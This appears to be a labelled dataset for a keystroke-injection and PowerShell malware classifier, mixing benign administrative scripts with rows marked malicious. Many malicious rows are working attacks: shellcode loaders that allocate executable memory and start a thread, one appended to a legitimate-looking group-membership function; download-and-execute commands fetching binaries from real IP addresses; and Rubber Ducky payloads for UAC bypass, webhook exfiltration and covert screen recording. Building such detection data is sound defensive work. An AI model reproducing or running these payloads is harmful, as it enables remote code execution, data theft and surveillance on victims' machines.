"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_g55z5vbg"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting user_helpdesk_audit section 1."" enter Get-LocalGroup | enter Select-Object Name, Description | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_groups.json"") -Encoding UTF8 enter Get-WinEvent -LogName System -MaxEvents 25 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_warnings_25.json"") -Encoding UTF8 enter",0,0,0.99996567,3.428267e-05
"win+r powershell enter DUCKY_REAL_BEGIN enter Rem: ####Attacker's side#### enter Rem: ### Run this on Attacker's VPS: ncat -k -l -p 80 | tee mimikatz.log enter Rem: >>>> IF THE SCRIPT DOESN'T WORK, TRY REMOVE THESE COMMENTS (i.e. starting with ""REM"") <<<< enter Delay enter Press:131+114 enter Delay enter PrintLine:powershell -nop -noni -w 1 -Exec Bypass ""IEX (New-Object System.Net.WebClient).DownloadString('https://goo.gl/KSZT1U');Bypass-UAC -Method ucmDismMethod;"" enter Delay enter Delay enter PrintLine:IEX (New-Object Net.WebClient).DownloadString('https://goo.gl/TzQm4N'); $port=80; $remoteHost='###ATTACKER IP###'; $Message = Invoke-vladimir -blet; $socket = new-object System.Net.Sockets.T enter DUCKY_REAL_END enter",1,1,5.6038403e-05,0.999944
"win+r powershell enter start powershell.exe -c (new-object System.Net.WebClient).DownloadFile('http://2 enter 3.227.202.28/temp/update64.exe','C:\users\public\music\update64.exe')"" start C:\ enter users\public\music\update64.exe IEX ((new-object net.webclient).downloadstring(' enter http://89.45.4.169:80/buf')) enter enter",1,1,5.978396e-05,0.99994016
"win+r powershell enter DUCKY_REAL_BEGIN enter REM Author: Startrk1995 enter REM Description: Saves the IP of the target pc to a discord webhook. enter REM Version: 1.0 enter REM Category: Exfiltration enter DELAY 500 enter GUI r enter DELAY 200 enter STRING powershell enter ENTER enter DELAY 1000 enter STRING $url=""DISCORD WEBHOOK LINK"";dir env: >> stats.txt; Get-NetIPAddress -AddressFamily IPv4 | Select-Object IPAddress,SuffixOrigin | where IPAddress -notmatch '(127.0.0.1|169.254.\d+.\d+)' >> stats enter ENTER enter DUCKY_REAL_END enter",1,1,5.9756665e-05,0.9999403
"win+r powershell enter $gL8 = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntP enter tr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""ke enter rnel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, enter uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFla enter gs, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr mems enter et(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $gL8 -Na enter me ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xd9,0xcb,0 enter xd9,0x74,0x24,0xf4,0xba,0x58,0x12,0x9a,0x31,0x5e,0x31,0xc9,0xb1,0x47,0x83,0xc6,0 enter x04,0x31,0x56,0x14,0x03,0x56,0x4c,0xf0,0x6f,0xcd,0x84,0x76,0x8f,0x2e,0x54,0x17,0 enter x19,0xcb,0x65,0x17,0x7d,0x9f,0xd5,0xa7,0xf5,0xcd,0xd9,0x4c,0x5b,0xe6,0x6a,0x20,0 enter x74,0x09,0xdb,0x8f,0xa2,0x24,0xdc,0xbc,0x97,0x27,0x5e,0xbf,0xcb,0x87,0x5f,0x70,0 enter x1e,0xc9,0x98,0x6d,0 enter enter",1,1,5.428621e-05,0.99994576
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""admin_reports_phql1wag"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting software_inventory section 1."" enter Get-AppxPackage | enter Select-Object -First 150 Name, Version, Publisher | enter Export-Csv -Path (Join-Path $ReportDir ""software_appx_packages.csv"") -NoTypeInformation enter $PSVersionTable | enter Export-Csv -Path (Join-Path $ReportDir ""environment_ps_version.csv"") -NoTypeInformation enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Outbound"" } | enter Select-Object -First 100 DisplayName, Enabled, Direction, Action, Profile | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_rules_outbound.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.4212455e-05
"win+r enter powershell enter enter enter function Add-SPOField enter { enter [CmdletBinding()] enter param enter ( enter [Parameter(Mandatory=$true, Position=1)] enter [string] $listTitle, enter enter [Parameter(Mandatory=$true, Position=2)] enter [string] $fieldName, enter enter [Parameter(Mandatory=$true, Position=3)] enter [string] $fieldXML enter ) enter enter $web = $clientContext.Web enter $list = $web.Lists.GetByTitle($listTitle) enter $fields = $list.Fields enter $clientContext.Load($fields) enter $clientContext.ExecuteQuery() enter enter if (!(Test-SPOField $list $fields $fieldName)) enter { enter $field = $list.Fields.AddFieldAsXml($fieldXML, $true, [Microsoft.SharePoint.Client.AddFieldOptions]::AddToAllContentTypes); enter $list.Update() enter $clientContext.ExecuteQuery() enter enter Write-Host ""Field $fieldName added to list $listTitle"" -foregroundcolor black -backgroundcolor yellow enter } enter else enter { enter Write-Host ""Field $fieldName already exists in list $listTitle"" -foregroundcolor black -backgroundcolor yellow enter } enter } enter enter PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile('http://93.174.94.135/~kali/ketty.exe', $env:APPDATA\profilest.exe );Start-Process ( $env:APPDATA\profilest.exe ) enter enter",1,1,6.107865e-05,0.99993896
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_ebmdm4r9"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Where-Object { $_.State -ne ""Disabled"" } | enter Select-Object -First 100 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_enabled_tasks.json"") -Encoding UTF8 enter Write-Host ""Starting disk_checks section 2."" enter Get-CimInstance Win32_LogicalDisk | enter Where-Object { $_.DriveType -eq 2 } | enter Select-Object DeviceID, VolumeName, FileSystem, @{Name=""SizeGB"";Expression={[math]::Round($_.Size / 1GB, 2)}}, @{Name=""FreeGB"";Expression={[math]::Round($_.FreeSpace / 1GB, 2)}} | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_logical_disk.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999652,3.4831333e-05
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x05,0x68,0xc0,0xa8,0x00,0x0c,0x68,0x02,0x00,0x1f,0x90,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x61,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x22,0x58,0x68,0x00,0x40,0x00,0x00,0x6a,0x00,0x50,0x68,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0x0c,0x24,0xe9,0x71,0xff,0xff,0xff,0x01,0xc3,0x29,0xc6,0x75,0xc7,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1934876e-05,0.999948
"DUCKY_REAL_BEGIN enter REM Description: This script records the screen and saves the recording as a video file. enter REM Must have ffmpeg installed. enter REM Must have terminal recording privilege enabled enter REM Script uses a screen recording command and the conversion of the recording to an MP4 file. enter REM It includes a delay of 10 seconds after starting the recording to allow for the desired recording duration. Can adjust the delay for longer recordings line 31 enter REM After that, it sends the interrupt signal (Ctrl+C) to stop the recording. enter REM Then it proceeds with the conversion of the recorded file from MKV to MP4 format using the ffmpeg command And stores it on the desktop enter REM you can change the locations ""Desktop"" to store the file in a more discrete place. enter REM Author: Narsty enter REM Title: Screen Recorder MacOs enter REM Target: MacOS enter REM Version: 1.0 enter REM Category: Execution enter ID 05ac:021e Apple:Keyboard enter DELAY 1000 enter GUI SPACE enter DELAY 500 enter STRING terminal enter DELAY 500 enter ENTER enter DELAY 500 enter STRING ffmpeg -f avfoundation -r 30 -i ""1"" -c:v libx264 -preset ultrafast -tune zerolatency -crf 23 -pix_fmt yuv420p ~/Desktop/screen_recording.mkv enter DELAY 250 enter ENTER enter DELAY 10000 ; Delay for 10 seconds (adjust as needed) enter CTRL C ; Send the interrupt signal to stop the recording enter DELAY 500 enter STRING ffmpeg -i ~/Desktop/screen_recording.mkv -c:v libx264 -preset fast -crf 23 -pix_fmt yuv420p ~/Desktop/screen_recording.mp4 enter DELAY 250 enter ENTER enter DUCKY_REAL_END",1,1,5.9310034e-05,0.99994063
"win+r enter powershell enter enter enter Set-StrictMode -Version 'Latest' enter enter & (Join-Path -Path $PSScriptRoot -ChildPath 'Initialize-CarbonTest.ps1' -Resolve) enter enter $rootDir = $null enter $childDir = $null enter $grandchildFile = $null enter $childFile = $null enter enter function Assert-EverythingCompressed enter { enter Assert-Compressed -Path $rootDir enter Assert-Compressed -Path $childDir enter Assert-Compressed -Path $grandchildFile enter Assert-Compressed -Path $childFile enter } enter enter function Assert-NothingCompressed enter { enter Assert-NotCompressed -Path $rootDir enter Assert-NotCompressed -Path $childDir enter Assert-NotCompressed -Path $grandchildFile enter Assert-NotCompressed -Path $childFile enter } enter enter function Assert-Compressed enter { enter param( enter $Path enter ) enter enter (Test-NtfsCompression -Path $Path) | Should -BeTrue enter } enter enter function Assert-NotCompressed enter { enter param( enter $Path enter ) enter (Test-NtfsCompression -Path $Path) | Should -BeFalse enter } enter Describe 'Enable-NtfsCompression' { enter BeforeEach { enter $Global:Error.Clear() enter $script:rootDir = Join-Path -Path $TestDrive.FullName -ChildPath ([IO.Path]::GetRandomFileName()) enter $script:childDir = Join-Path $rootDir -ChildPath 'ChildDir' enter $script:grandchildFile = Join-Path $rootDir -ChildPath 'ChildDir\GrandchildFile' enter $script:childFile = Join-Path $rootDir -ChildPath 'ChildFile' enter enter New-Item -Path $grandchildFile -ItemType 'File' -Force enter New-Item -Path $childFile -ItemType 'File' -Force enter } enter enter It 'should enable compression on directory only' { enter Assert-NothingCompressed enter enter Enable-NtfsCompression -Path $rootDir enter enter Assert-Compressed -Path $rootDir enter Assert-NotCompressed -Path $childDir enter Assert-NotCompressed -path $grandchildFile enter Assert-NotCompressed -Path $childFile enter enter $newFile = Join-Path $rootDir 'newfile' enter '' > $newFile enter Assert-Compressed -Path $newFile enter enter $newDir = Join-Path $rootDir 'newDir' enter $null = New-Item -Path $newDir -ItemType Directory enter Assert-Compressed -Path $newDir enter } enter enter It 'should fail if path does not exist' { enter enter Assert-NothingCompressed enter enter Enable-NtfsCompression -Path 'C:\I\Do\Not\Exist' -ErrorAction SilentlyContinue enter enter $Global:Error.Count | Should -Be 1 enter ($Global:Error[0].Exception.Message -like '*not found*') | Should -BeTrue enter enter Assert-NothingCompressed enter } enter enter It 'should enable compression recursively' { enter Assert-NothingCompressed enter enter Enable-NtfsCompression -Path $rootDir -Recurse enter enter Assert-EverythingCompressed enter } enter enter It 'should support piping items' { enter Assert-NothingCompressed enter enter Get-ChildItem $rootDir | Enable-NtfsCompression enter enter Assert-NotCompressed $rootDir enter Assert-Compressed $childDir enter Assert-NotCompressed $grandchildFile enter Assert-Compressed $childFile enter } enter enter It 'should support piping strings' { enter ($childFile,$grandchildFile) | Enable-NtfsCompression enter enter Assert-NotCompressed $rootDir enter Assert-NotCompressed $childDir enter Assert-Compressed $grandchildFile enter Assert-Compressed $childFile enter } enter enter It 'should compress array of items' { enter Enable-NtfsCompression -Path $childFile,$grandchildFile enter Assert-NotCompressed $rootDir enter Assert-NotCompressed $childDir enter Assert-Compressed $grandchildFile enter Assert-Compressed $childFile enter } enter enter It 'should compress already compressed item' { enter Enable-NtfsCompression $rootDir -Recurse enter Assert-EverythingCompressed enter enter Enable-NtfsCompression $rootDir -Recurse enter $LASTEXITCODE | Should -Be 0 enter Assert-EverythingCompressed enter } enter enter It 'should support what if' { enter Enable-NtfsCompression -Path $childFile -WhatIf enter Assert-NotCompressed $childFile enter } enter enter It 'should not compress if already compressed' { enter Enable-CNtfsCompression -Path $rootDir enter Assert-Compressed $rootDir enter Mock -CommandName 'Invoke-ConsoleCommand' -ModuleName 'Carbon' enter Enable-CNtfsCompression -Path $rootDir enter Assert-MockCalled 'Invoke-ConsoleCommand' -ModuleName 'Carbon' -Times 0 enter Enable-CNtfsCompression -Path $rootDir -Force enter Assert-MockCalled 'Invoke-ConsoleCommand' -ModuleName 'Carbon' -Times 1 enter } enter } enter enter",0,0,0.9999547,4.5251512e-05
"win+r enter powershell enter enter enter function Test-CIdentity enter { enter enter [CmdletBinding()] enter param( enter [Parameter(Mandatory=$true)] enter [string] enter enter $Name, enter enter [Switch] enter enter $PassThru enter ) enter enter Set-StrictMode -Version 'Latest' enter enter Use-CallerPreference -Cmdlet $PSCmdlet -Session $ExecutionContext.SessionState enter enter $identity = [Carbon.Identity]::FindByName( $Name ) enter if( -not $identity ) enter { enter return $false enter } enter enter if( $PassThru ) enter { enter return $identity enter } enter return $true enter } enter enter",0,0,0.99988234,0.00011759254
"win+r enter powershell enter enter enter function Test-CGroupMember enter { enter enter [CmdletBinding()] enter Param( enter [Parameter(Mandatory=$true)] enter [string] enter enter $GroupName, enter enter [Parameter(Mandatory=$true)] enter [string] enter enter $Member enter ) enter enter Set-StrictMode -Version 'Latest' enter Use-CallerPreference -Cmdlet $PSCmdlet -Session $ExecutionContext.SessionState enter enter if( -not (Test-CGroup -Name $GroupName) ) enter { enter Write-Error -Message ('Group ''{0}'' not found.' -f $GroupName) enter return enter } enter enter $group = Get-CGroup -Name $GroupName enter if( -not $group ) enter { enter return enter } enter enter $principal = Resolve-CIdentity -Name $Member enter if( -not $principal ) enter { enter return enter } enter enter try enter { enter return $principal.IsMemberOfLocalGroup($group.Name) enter } enter catch enter { enter Write-Error -Message ('Checking if ""{0}"" is a member of local group ""{1}"" failed: {2}' -f $principal.FullName,$group.Name,$_) enter } enter } enter enter $TOyJ = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $TOyJ -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xdb,0xd0,0xd9,0x74,0x24,0xf4,0x5a,0x31,0xc9,0xb1,0x47,0xbf,0x6a,0xb4,0x96,0x80,0x31,0x7a,0x18,0x83,0xea,0xfc,0x03,0x7a,0x7e,0x56,0x63,0x7c,0x96,0x14,0x8c,0x7d,0x66,0x79,0x04,0x98,0x57,0xb9,0x72,0xe8,0xc7,0x09,0xf0,0xbc,0xeb,0xe2,0x54,0x55,0x78,0x86,0x70,0x5a,0xc9,0x2d,0xa7,0x55,0xca,0x1e,0x9b,0xf4,0x48,0x5d,0xc8,0xd6,0x71,0xae,0x1d,0x16,0xb6,0xd3,0xec,0x4a,0x6f,0x9f,0x43,0x7b,0x04,0xd5,0x5f,0xf0,0x56,0xfb,0xe7,0xe5,0x2e,0xfa,0xc6,0xbb,0x25,0xa5,0xc8,0x3a,0xea,0xdd,0x40,0x25,0xef,0xd8,0x1b,0xde,0xdb,0x97,0x9d,0x36,0x12,0x57,0x31,0x77,0x9b,0xaa,0x4b,0xbf,0x1b,0x55,0x3e,0xc9,0x58,0xe8,0x39,0x0e,0x23,0x36,0xcf,0x95,0x83,0xbd,0x77,0x72,0x32,0x11,0xe1,0xf1,0x38,0xde,0x65,0x5d,0x5c,0xe1,0xaa,0xd5,0x58,0x6a,0x4d,0x3a,0xe9,0x28,0x6a,0x9e,0xb2,0xeb,0x13,0x87,0x1e,0x5d,0x2b,0xd7,0xc1,0x02,0x89,0x93,0xef,0x57,0xa0,0xf9,0x67,0x9b,0x89,0x01,0x77,0xb3,0x9a,0x72,0x45,0x1c,0x31,0x1d,0xe5,0xd5,0x9f,0xda,0x0a,0xcc,0x58,0x74,0xf5,0xef,0x98,0x5c,0x31,0xbb,0xc8,0xf6,0x90,0xc4,0x82,0x06,0x1d,0x11,0x3e,0x02,0x89,0x28,0x9f,0xd7,0xab,0x25,0xe2,0xe7,0x34,0x26,0x6b,0x01,0x1a,0x16,0x3c,0x9e,0xda,0xc6,0xfc,0x4e,0xb2,0x0c,0xf3,0xb1,0xa2,0x2e,0xd9,0xd9,0x48,0xc1,0xb4,0xb2,0xe4,0x78,0x9d,0x49,0x95,0x85,0x0b,0x34,0x95,0x0e,0xb8,0xc8,0x5b,0xe7,0xb5,0xda,0x0b,0x07,0x80,0x81,0x9d,0x18,0x3e,0xaf,0x21,0x8d,0xc5,0x66,0x76,0x39,0xc4,0x5f,0xb0,0xe6,0x37,0x8a,0xcb,0x2f,0xa2,0x75,0xa3,0x4f,0x22,0x76,0x33,0x06,0x28,0x76,0x5b,0xfe,0x08,0x25,0x7e,0x01,0x85,0x59,0xd3,0x94,0x26,0x08,0x80,0x3f,0x4f,0xb6,0xff,0x08,0xd0,0x49,0x2a,0x89,0x2c,0x9c,0x12,0xff,0x5c,0x1c;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$pBw=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($pBw.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$pBw,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.2169813e-05,0.9999478
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_kisbzu86"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $env:Path -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ PathEntry = $_ } } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_path_entries.txt"") -Encoding UTF8 enter Write-Host ""Starting disk_checks section 2."" enter Get-PSDrive -PSProvider FileSystem | enter Select-Object Name, Root, Used, Free, Description | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_psdrive.json"") -Encoding UTF8 enter",0,0,0.99996614,3.390439e-05
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0x6d,0x58,0xf2,0xb0,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.184467e-05,0.99994814
"win+r enter powershell enter enter enter $here = Split-Path -Parent $MyInvocation.MyCommand.Path enter $sut = (Split-Path -Leaf $MyInvocation.MyCommand.Path) -replace '\.Tests', '' enter . ""$here\$sut"" enter enter $clusterName = $ENV:ClusterName enter $httpUserPassword = $ENV:HttpPassword enter $securePassword = ConvertTo-SecureString $httpUserPassword -AsPlainText -Force enter $creds = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList ""admin"", $securePassword enter function Get-Credential { return $creds } enter enter Describe ""hdinsight-hadoop-use-hive-powershell"" { enter It ""Runs a Hive query using Start-AzHDInsightJob"" { enter Mock Read-Host { $clusterName } enter (Start-HiveJob)[-1].StartsWith(""2012-02-03"") | Should be True enter } enter enter It ""Runs a Hive query using Invoke-Hive"" { enter Mock Read-Host { $clusterName } enter (Start-HiveJobInvoke)[-1].StartsWith(""2012-02-03"") | Should be True enter } enter enter } enter enter",0,0,0.99909186,0.00090816774
"win+r powershell enter function Add-DomainUserToLocalGroup{ param( [Parameter(Mandatory=$true)] [ enter String] $Domain, [Parameter(Mandatory=$true)] [String] $User, enter enter",1,1,0.010009819,0.98999023
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""daily_check_kursve21"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting service_checks section 1."" enter Get-Service -Name wuauserv,bits -ErrorAction SilentlyContinue | enter Sort-Object DisplayName | enter Select-Object Name, DisplayName, Status, ServiceType | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_update_related.json"") -Encoding UTF8 enter",0,0,0.99996614,3.3890396e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_ilqkebuh"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_filesystem_provider.txt"") -Encoding UTF8 enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Disabled"" } | enter Select-Object -First 150 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_disabled_tasks.csv"") -NoTypeInformation enter",0,0,0.9999659,3.4075474e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_smwzrk3v"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting process_checks section 1."" enter Get-Process -Name ""powershell"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object -First 30 ProcessName, Id, StartTime | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_named_processes_30.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.4284865e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_qwuddwnm"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetFirewallProfile | enter Select-Object Name, Enabled, DefaultInboundAction, DefaultOutboundAction | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_profiles.json"") -Encoding UTF8 enter Get-DnsClientServerAddress | enter Select-Object InterfaceAlias, AddressFamily, ServerAddresses | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_dns_servers.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.4484892e-05
"win+r enter powershell enter enter enter param( enter [Parameter(Mandatory)] enter [semver] enter $Version, enter enter [Parameter(Mandatory)] enter [string] enter $GitHubToken, enter enter [Parameter(Mandatory)] enter [string] enter $Repository, enter enter [Parameter()] enter [string] enter $TargetFork = 'PowerShell', enter enter [Parameter()] enter [string] enter $ChangelogPath = ""$PSScriptRoot/../../CHANGELOG.md"", enter enter [Parameter()] enter [string[]] enter $AssetPath enter ) enter enter Import-Module ""$PSScriptRoot/../GitHubTools.psm1"" -Force enter function GetDescriptionFromChangelog enter { enter param( enter [Parameter(Mandatory)] enter [string] enter $ChangelogPath enter ) enter enter $lines = Get-Content -Path $ChangelogPath enter $sb = [System.Text.StringBuilder]::new($lines[2]) enter enter for ($i = 3; -not $lines[$i].StartsWith(' enter { enter $null = $sb.Append(""`n"").Append($lines[$i]) enter } enter enter return $sb.ToString() enter } enter enter $tag = 